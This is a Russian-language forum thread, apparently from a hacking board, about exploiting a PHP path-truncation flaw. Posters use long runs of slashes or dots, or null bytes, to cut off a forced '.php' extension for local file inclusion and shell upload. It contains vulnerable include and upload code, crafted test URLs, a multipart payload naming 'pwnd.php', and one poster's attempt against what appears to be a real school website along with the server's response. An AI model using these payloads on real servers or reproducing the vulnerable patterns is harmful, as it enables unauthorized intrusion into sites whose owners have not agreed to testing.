Я не о том - я о том,что пример выложен в теге Code: с некуёвым количеством ./.Как мне убедиться в работе бага ?
не забывайте, что если в инклуде указан абсолютный путь то этот способ работать не будет, т.к не вызывается getcwd()
Прошу прощение за поднятия темы, тестил я сабж, работает! Тестил под виндой: //////////////////////////////[...] Конфигурация: Apache 2.2 PHP 5.2.4
На nginx ограничение что-то вроде 4079 символов после /, т.е. http://localhost/[4079 символов], значит работать не будет. Кстати в этом месте в nginx есть переполнение, в сентябре нашли.
Мб туповатый вопрос, но при PHP: [...] $imageName = $_FILES['myImage']['name']; move_uploaded_file($_FILES['myImage']['tmp_name'], "images/" . $imageName); [...] этот баг сработает?
Хм, у меня тоже не сработало, значит функция file_exists() не подвержена уязвимости. U.P.D. Но возможно многие функции, работающие с файлами подвержены. Надо найти причину в исходниках. Хм, по идее нет, проверю - отпишу... А вообще... Надо сначала научиться создавать файлы с длиной имени в 4096 символов)
Code: --UPLOAD_DATA_8CA3 Content-Disposition: form-data; name=file; filename=pwnd.php[//////].jpg Content-Type: image/jpeg Content-Transfer-Encoding: binary
Нет, этот трюк не выходит. То есть если писать набор слешей, они воспринимаются, как переход к новой директории, и расширение не обрезается. Если писать точки, тоже не выходит...
win xp sp2 Server API Apache 2.0 Handler PHP Version 5.3.1 Apache/2.2.4 allow_url_fopen On allow_url_include Off 1.php PHP: include ($_GET['f'].'.php'); if($yes) { echo '<br>использовано ".": '.strlen($_GET['f']); } lol.txt Code: 12345 <?$yes=1?> Инклуд с текущего каталога! Code: http://localhost/include/1.php?f=lol.txt[.] http://localhost/include/1.php?f=lol.txt[%20] http://localhost/include/1.php?f=lol.txt[%22] http://localhost/include/1.php?f=lol.txt[.%20] За пределы! Code: http://localhost/include/1.php?f=inc/lol.txt[.] etc чтоб была ясна - не работает баг!
Strilo4ka не совсем понял что ты имела ввиду. есть такая вещь как php suhosin patch. с последними версиями этого патча. ни нул байт не работает, ни обрезание строк.
PHP Version 4.4.9 Linux Apache 2.* Никак не могу отбросить .php но блин как чувствую должно работать, кто нибудь эксперементировал на подобной версии?
зачастую бывает просто пишет "превышен лимит значений" и все и ничего интерестного просто непроисходит.... Code: http://www.sman1-tasik.sch.id/index.php?exec=/home/sloki/user/h21071/sites/sman1-tasik.sch.id/www/theme/Demo/index.php//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ALERT - configured GET variable value length limit exceeded - dropped variable 'exec' (attacker '00.000.000.000', file '/s/www.sman1-tasik.sch.id/www/index.php') X-Powered-By: PHP/5.2.6-1+lenny8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: maxrow=20; expires=Fri, 03-Jun-2011 17:00:00 GMT Set-Cookie: uselang=Indonesia; expires=Fri, 03-Jun-2011 17:00:00 GMT Set-Cookie: theme=Demo; expires=Fri, 03-Jun-2011 17:00:00 GMT Content-type: text/html
а с move_uploaded_file будет работать? посылаю пост запрос с нуливым байтом!? выдает \0 HTML: Warning: move_uploaded_file(/projects/site/users/62/reports/1.php\0/reports/4d8078ebd79d5.doc) [function.move-uploaded-file]: failed to open stream: No such file or directory in /var/www/html/eas/php/upload.php on line 31 HTML: Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move '/tmp/php52EQap' to '/projects/livni/site/62/reports/1.php\0/reports/4d8078ebd79d5.doc' in /var/www/html/eas/php/upload.php on line 31 потом пытаюсь послать куча слешов да он обрезает /reports/4d8078ebd79d5.doc но также слэши остаюстся...